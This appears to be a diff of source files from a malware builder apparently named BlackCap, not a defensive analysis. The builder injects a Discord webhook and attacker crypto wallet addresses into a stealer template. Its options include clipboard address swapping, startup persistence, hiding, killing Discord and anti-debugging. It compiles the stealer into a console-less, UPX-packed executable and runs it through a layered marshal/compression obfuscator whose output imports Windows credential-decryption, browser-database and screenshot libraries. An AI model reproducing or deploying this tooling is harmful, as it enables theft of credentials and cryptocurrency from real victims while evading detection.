▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▀▀▀▀▀▀▀▀█████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█████████████████████████▀▀▀▀▀▀▀▀
|
||||
▐████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▐████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▐████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▄▄▄▄▄▄▄▄▓████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╙▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▓████████████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
▓███████████████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░████████████████████████▌
|
||||
j▄▓▓▓▓▄▄▓``````````````` ]▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓````````````````]▓▄▓▓▓▓▓▄
|
||||
j███████▓ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓ j███████▓
|
||||
j▓██████▓ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓ j███████▓
|
||||
j▓██████▓ j▓███████████████▌░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓███████████████████████▓ j███████▓
|
||||
╟████████████████████████████████████████▓
|
||||
▐████████████████████████████████████████▓
|
||||
▐████████████████████████████████████████▓
|
||||
,,,,,,,▐████████████████████████████████████████▓,,,,,,,,
|
||||
|
||||
|
||||
|
||||
IP: {load(urlopen('https://www.myexternalip.com/json'))['ip']}
|
||||
Username: {os.getlogin()}
|
||||
PC Name: {os.getenv('COMPUTERNAME')}
|
||||
Operating System: {os.getenv('OS')}
|
||||
|"""
|
||||
|
||||
|
||||
|
||||
print(Style.RESET_ALL)
|
||||
|
||||
def check_webhook(self, webhook):
|
||||
try:
|
||||
with requests.get(webhook) as r:
|
||||
if r.status_code == 200:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except BaseException:
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
required_files = {'./main.py',
|
||||
'./requirements.txt',
|
||||
'./obfuscation.py'}
|
||||
|
||||
for file in required_files:
|
||||
if not os.path.isfile(file):
|
||||
print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] {file} not found!')
|
||||
return False
|
||||
|
||||
try:
|
||||
print(
|
||||
subprocess.check_output(
|
||||
"python -V",
|
||||
stderr=subprocess.STDOUT))
|
||||
print(subprocess.check_output("pip -V", stderr=subprocess.STDOUT))
|
||||
|
||||
except subprocess.CalledProcessError:
|
||||
print(f'{Fore.RED}[{Fore.RESET}{Fore.WHITE}!{Fore.RESET}{Fore.RED}] Python not found!')
|
||||
return False
|
||||
|
||||
os.system('pip install --upgrade -r requirements.txt')
|
||||
|
||||
os.system('cls')
|
||||
|
||||
os.system('mode con:cols=150 lines=20')
|
||||
|
||||
return True
|
||||
|
||||
def icon_exe(self):
|
||||
self.icon_name = input(f'{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Enter the name of the icon: ')
|
||||
|
||||
if os.path.isfile(f"./{self.icon_name}"):
|
||||
pass
|
||||
else:
|
||||
print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon not found! Please check the name and make sure it\'s in the current directory.')
|
||||
input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")
|
||||
|
||||
if self.icon_name.endswith('.ico'):
|
||||
pass
|
||||
else:
|
||||
print(f'{Fore.RED}[{Fore.RESET}+{Fore.RED}]{Fore.RESET}Icon must have .ico extension! Please convert it and try again.')
|
||||
input(f"{Fore.GREEN}[{Fore.RESET}+{Fore.GREEN}]{Fore.RESET} Press anything to exit...")
|
||||
|
||||
def renamefile(self, filename):
|
||||
try:
|
||||
os.rename(f"./obfuscated_compressed_{filename}.py", f"./{filename}.py")
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
os.rename(f"./compressed_{filename}.py", f"./{filename}.py")
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
os.rename(f"./compressed_{filename}.exe", f"./{filename}.exe")
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
os.rename(f"./obfuscated_compressed_{filename}.exe", f"./{filename}.exe")
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
os.rename(f"./obfuscated_{filename}.exe", f"./{filename}.exe")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def mk_file(self, filename, webhook):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Generating source code...{Fore.RESET}')
|
||||
|
||||
with open('./main.py', 'r', encoding="utf-8") as f:
|
||||
code = f.read()
|
||||
|
||||
with open(f"{filename}.py", "w", encoding="utf-8") as f:
|
||||
f.write(code.replace('%WEBHOOK_HERE%', webhook)
|
||||
.replace("%ping_enabled%", str(self.ping))
|
||||
.replace("%ping_type%", self.pingtype)
|
||||
.replace("%_address_replacer%", str(self.address_replacer))
|
||||
.replace("%_btc_address%", self.btc_address)
|
||||
.replace("%_eth_address%", self.eth_address)
|
||||
.replace("%_xchain_address%", self.xchain_address)
|
||||
.replace("%_pchain_address%", self.pchain_address)
|
||||
.replace("%_cchain_address%", self.cchain_address)
|
||||
.replace("%_monero_address%", self.monero_address)
|
||||
.replace("%_ada_address%", self.ada_address)
|
||||
.replace("%_dash_address%", self.dash_address)
|
||||
.replace("%_error_enabled%", str(self.error))
|
||||
.replace("%_startup_enabled%", str(self.startup))
|
||||
.replace("%_hide_script%", str(self.hider))
|
||||
.replace("'%kill_discord_process%'", str(self.killprocess))
|
||||
.replace("'%_debugkiller%'", str(self.dbugkiller)))
|
||||
|
||||
time.sleep(2)
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Source code has been generated...{Fore.RESET}')
|
||||
|
||||
|
||||
|
||||
if self.obfuscation == 'yes' and self.compy == 'yes':
|
||||
self.encryption(f"{filename}")
|
||||
self.compile(f"obfuscated_{filename}")
|
||||
elif self.obfuscation == 'no' and self.compy == 'yes':
|
||||
self.compile(f"{filename}")
|
||||
elif self.obfuscation == 'yes' and self.compy == 'no':
|
||||
self.encryption(f"{filename}")
|
||||
else:
|
||||
pass
|
||||
|
||||
|
||||
def encryption(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Obfuscating code...{Fore.RESET}')
|
||||
os.system(f"python obfuscation.py -i {filename}.py -o obfuscated_{filename}.py -s 100")
|
||||
|
||||
def compile(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET} {Fore.WHITE}Compiling code...{Fore.RESET}')
|
||||
if self.icon == 'yes':
|
||||
icon = self.icon_name
|
||||
else:
|
||||
icon = "NONE"
|
||||
os.system(f'python -m PyInstaller --onefile --noconsole --upx-dir=./blackcap_files/upx -i {icon} --distpath ./ .\\{filename}.py')
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Code compiled!{Fore.RESET}')
|
||||
|
||||
def run(self, filename):
|
||||
print(f'{Fore.GREEN}[{Fore.RESET}{Fore.WHITE}+{Fore.RESET}{Fore.GREEN}]{Fore.RESET}{Fore.WHITE} Attempting to execute file...')
|
||||
|
||||
if os.path.isfile(f'./{filename}.exe'):
|
||||
os.system(f'start ./{filename}.exe')
|
||||
elif os.path.isfile(f'./{filename}.py'):
|
||||
os.system(f'python ./{filename}.py')
|
||||
|
||||
def cleanup(self, filename):
|
||||
cleans_dir = {'./__pycache__', './build'}
|
||||
cleans_file = {f'./{filename}.py', f'./obfuscated_compressed_{filename}.py', f'./compressed_{filename}.py', f'./compressed_{filename}.spec'}
|
||||
|
||||
if self.obfuscation == 'yes' and self.compy == 'no':
|
||||
cleans_file.remove(f'./obfuscated_compressed_{filename}.py')
|
||||
elif self.obfuscation == 'yes' and self.compy == 'yes':
|
||||
cleans_file.add(f'./obfuscated_compressed_{filename}.spec')
|
||||
elif self.obfuscation == 'no' and self.compy == 'no':
|
||||
cleans_file.remove(f'./{filename}.py')
|
||||
else:
|
||||
pass
|
||||
|
||||
for clean in cleans_dir:
|
||||
try:
|
||||
if os.path.isdir(clean):
|
||||
shutil.rmtree(clean)
|
||||
except Exception:
|
||||
pass
|
||||
continue
|
||||
|
||||
for clean in cleans_file:
|
||||
try:
|
||||
if os.path.isfile(clean):
|
||||
os.remove(clean)
|
||||
except Exception:
|
||||
pass
|
||||
continue
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
init()
|
||||
|
||||
if os.name != "nt":
|
||||
os.system("clear")
|
||||
else:
|
||||
os.system('mode con:cols=212 lines=212')
|
||||
os.system("cls")
|
||||
|
||||
Builder()
|
|
@ -0,0 +1,3 @@
|
|||
@echo off
|
||||
pip install -r requirements.txt
|
||||
pause
|
|
@ -0,0 +1,132 @@
|
|||
import os
|
||||
import sys
|
||||
import subprocess
|
||||
import argparse
|
||||
import random
|
||||
import time
|
||||
import marshal
|
||||
import lzma
|
||||
import gzip
|
||||
import bz2
|
||||
import binascii
|
||||
import zlib
|
||||
|
||||
def prett(text):
|
||||
return text.title().center(os.get_terminal_size().columns)
|
||||
try:
|
||||
import requests
|
||||
import tqdm
|
||||
import colorama
|
||||
import pyfiglet
|
||||
except ModuleNotFoundError:
|
||||
if os.name == 'nt':
|
||||
_ = 'python'
|
||||
else:
|
||||
_ = 'python' + '.'.join(str(i) for i in sys.version_info[:2])
|
||||
if subprocess.run([_, '-m', 'pip', 'install', '-r', 'requirements.txt']).returncode == 0:
|
||||
exit('\x1b[1m\x1b[92m' + prett('[+] dependencies installed\nrun the program again'))
|
||||
elif subprocess.run(['pip3', 'install', '-r', 'requirements.txt']).returncode == 0:
|
||||
exit('\x1b[1m\x1b[92m' + prett('[+] dependencies installed\nrun the program again'))
|
||||
else:
|
||||
exit('\x1b[1m\x1b[31m' + prett('[!] something error occured while installing dependencies\n maybe pip isn\'t installed or requirements.txt file not available?'))
|
||||
BLU = colorama.Style.BRIGHT + colorama.Fore.BLUE
|
||||
CYA = colorama.Style.BRIGHT + colorama.Fore.CYAN
|
||||
GRE = colorama.Style.BRIGHT + colorama.Fore.GREEN
|
||||
YEL = colorama.Style.BRIGHT + colorama.Fore.YELLOW
|
||||
RED = colorama.Style.BRIGHT + colorama.Fore.RED
|
||||
MAG = colorama.Style.BRIGHT + colorama.Fore.MAGENTA
|
||||
LIYEL = colorama.Style.BRIGHT + colorama.Fore.LIGHTYELLOW_EX
|
||||
LIRED = colorama.Style.BRIGHT + colorama.Fore.LIGHTRED_EX
|
||||
LIMAG = colorama.Style.BRIGHT + colorama.Fore.LIGHTMAGENTA_EX
|
||||
LIBLU = colorama.Style.BRIGHT + colorama.Fore.LIGHTBLUE_EX
|
||||
LICYA = colorama.Style.BRIGHT + colorama.Fore.LIGHTCYAN_EX
|
||||
LIGRE = colorama.Style.BRIGHT + colorama.Fore.LIGHTGREEN_EX
|
||||
CLEAR = 'cls' if os.name == 'nt' else 'clear'
|
||||
COLORS = BLU, CYA, GRE, YEL, RED, MAG, LIYEL, LIRED, LIMAG, LIBLU, LICYA, LIGRE
|
||||
FONTS = 'basic', 'o8', 'cosmic', 'graffiti', 'chunky', 'epic', 'poison', 'doom', 'avatar'
|
||||
PYTHON_VERSION = 'python' + '.'.join(str(i) for i in sys.version_info[:2])
|
||||
colorama.init(autoreset=True)
|
||||
|
||||
def encode(source:str) -> str:
|
||||
selected_mode = random.choice((lzma, gzip, bz2, binascii, zlib))
|
||||
marshal_encoded = marshal.dumps(compile(source, 'Py-Fuscate', 'exec'))
|
||||
if selected_mode is binascii:
|
||||
encoded = binascii.b2a_base64(marshal_encoded)
|
||||
else:
|
||||
encoded = selected_mode.compress(marshal_encoded)
|
||||
if selected_mode is binascii:
|
||||
TMP = 'import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(binascii.a2b_base64({})))'
|
||||
return TMP.format(encoded)
|
||||
else:
|
||||
TMP = 'import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads({}.decompress({})))'
|
||||
return TMP.format(selected_mode.__name__, encoded)
|
||||
|
||||
def logo() -> None:
|
||||
os.system(CLEAR)
|
||||
font = random.choice(FONTS)
|
||||
color1 = random.choice(COLORS)
|
||||
color2 = random.choice(COLORS)
|
||||
while color1 == color2:
|
||||
color2 = random.choice(COLORS)
|
||||
print(color1 + '_' * os.get_terminal_size().columns, end='\n'*2)
|
||||
print(color2 + pyfiglet.figlet_format(
|
||||
'KSCH\nBlackCap',
|
||||
font=font,
|
||||
justify='center',
|
||||
width=os.get_terminal_size().columns),
|
||||
end=''
|
||||
)
|
||||
print(color1 + '_' * os.get_terminal_size().columns, end='\n'*2)
|
||||
|
||||
def parse_args():
|
||||
parser = argparse.ArgumentParser(description='obfuscate python programs'.title())
|
||||
parser._optionals.title = "syntax".title()
|
||||
parser.add_argument(
|
||||
'-r','--recursion',
|
||||
default=False,
|
||||
required=False,
|
||||
help="recursion encoding by using this flag you will get x2 obfuscation strength".title(),
|
||||
dest='r',
|
||||
action='store_true')
|
||||
parser.add_argument('-i', '--input', type=str, help='input file name'.title(), required=True)
|
||||
parser.add_argument('-o', '--output', type=str, help='output file name'.title(), required=True)
|
||||
parser.add_argument('-s', '--strength', type=int,
|
||||
help='strengthness of obfuscation. 100 recomended'.title(), required=True)
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
exit()
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
args = parse_args()
|
||||
print(random.choice(COLORS) + '\t[+] encoding '.title() + args.input)
|
||||
if not(args.r):
|
||||
print(random.choice(COLORS) + '\t[!] you haven\'t selected the recursion mode'.title())
|
||||
with tqdm.tqdm(total=args.strength) as pbar:
|
||||
with open(args.input) as input:
|
||||
if args.r:
|
||||
for i in range(args.strength):
|
||||
if i == 0:
|
||||
encoded = encode(source=input.read())
|
||||
else:
|
||||
encoded = encode(source=encode(source=encoded))
|
||||
time.sleep(0.1)
|
||||
pbar.update(1)
|
||||
else:
|
||||
for i in range(args.strength):
|
||||
if i == 0:
|
||||
encoded = encode(source=input.read())
|
||||
else:
|
||||
encoded = encode(source=encoded)
|
||||
time.sleep(0.1)
|
||||
pbar.update(1)
|
||||
with open(args.output, 'w') as output:
|
||||
output.write(f"import asyncio, json, ntpath, os, random, re, shutil, sqlite3, subprocess, threading, winreg, zipfile, httpx, psutil, win32gui, win32con, pyperclip, base64, requests, ctypes, time;from sqlite3 import connect;from base64 import b64decode;from urllib.request import Request, urlopen;from shutil import copy2;from datetime import datetime, timedelta, timezone;from sys import argv;from tempfile import gettempdir, mkdtemp;from json import loads, dumps;from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer;from Crypto.Cipher import AES;from PIL import ImageGrab;from win32crypt import CryptUnprotectData\n\ntry:\n\t{encoded}\nexcept KeyboardInterrupt:\n\tpass")
|
||||
print(LIGRE + '\t[+] encoding successful!\n\tsaved as '.title() + args.output)
|
||||
if __name__ == '__main__':
|
||||
logo()
|
||||
main()
|